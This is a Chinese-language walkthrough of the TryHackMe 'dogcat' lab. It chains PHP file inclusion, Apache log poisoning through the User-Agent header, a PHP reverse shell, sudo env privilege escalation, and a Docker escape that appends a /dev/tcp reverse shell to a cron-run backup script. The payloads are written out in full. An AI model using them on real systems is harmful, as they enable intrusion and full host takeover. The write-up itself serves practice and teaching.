THM-dogcat
靶机ip:10.10.89.86
信息收集
nmap扫描
1 | nmap --min-rate 10000 -A -sV -sC -p- 10.10.89.86 |
发现开放22,80端口
80端口
发现点击dog或者cat,会显示一张相应的图片
先扫描一下目录
1 | gobuster dir -u http://10.10.89.86/ -w /usr/share/wordlists/dirb/common.txt |
访问/cats
显示403,除此之外并没有什么有用的信息
LIF导致RCE
再次查看我们的页面
在url处有个参数view,尝试一下目录穿越
有效果,可以文件包含,并且默认在后面加.php
文件后缀了
测试后发现可以通过%00
可以截断
使用伪协议尝试读取源码
1 | ?view=php://filter/convert.base64-encode/resource=dog |
base64解码一下
1 | echo "PGltZyBzcmM9ImRvZ3MvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K" | base64 -d |
尝试读取一下别的文件
1 | ?view=php://filter/convert.base64-encode/resource=dog/../index |
发现解码后的代码,我们还可以控制ext
变量,来控制文件后缀,所以我们就可以读取任意文件了
先读取/etc/passwd
1 | ?view=view=dog/../../../../etc/passwd&ext= |
看源码比较清晰一点
这里貌似没什么信息,查看一下日志
1 | ?view=view=dog/../../../../../../../var/log/apache2/access.log&ext= |
最终找到了apache2
的日志
在最后发现我们的操作会被记录下来,并且请求头的信息也保存了
尝试更改请求头试一下
我们自定义的请求头被写入到日志文件中了,尝试写入php代码
1 | curl "http://10.10.89.86/" -H "User-Agent: <?php system('whoami')?>" |
成功RCE!
获得初始访问权限
先将RCE完善一下
1 | curl "http://10.10.89.86/" -H "User-Agent: <?php system(\$_GET['cmd']);?>" |
可以执行命令,我们就尝试反弹shell,先建立个监听
执行一下反弹shell命令(注意要url编码)
1 | php -r '$sock=fsockopen("10.14.90.122", 8888);exec("/bin/bash -i <&3 >&3 2>&3");' |
成功获取初始权限
在当前页面找到flag.php
提升至root权限
先找一下flag的位置
1 | find / -name "*flag*" 2>/dev/null |
找到flag2
sudo -l
查看一下
发现env
命令具有root权限,使用env
命令提权
获得root权限
在/root
下找到flag3.txt
docker逃逸
在根目录中找到.dockerenv
文件
可知我们在docker内
仔细翻找文件后发现以上内容,仔细查看一下,发现像是备份文件的命令,过段时间后会发现backup.tar
文件的修改时间改变了,推断出可能正在执行一个cron
任务
我们可以尝试写入反弹shell的命令,并以主机上的 root 身份获取 shell
1 | echo "bash -i >& /dev/tcp/10.14.90.122/8889 0>&1" >> backup.sh |
主机进行监听,过段时间后我们获取到了主机的shell
成功获取主机shell
在/root
目录找到最后一个flag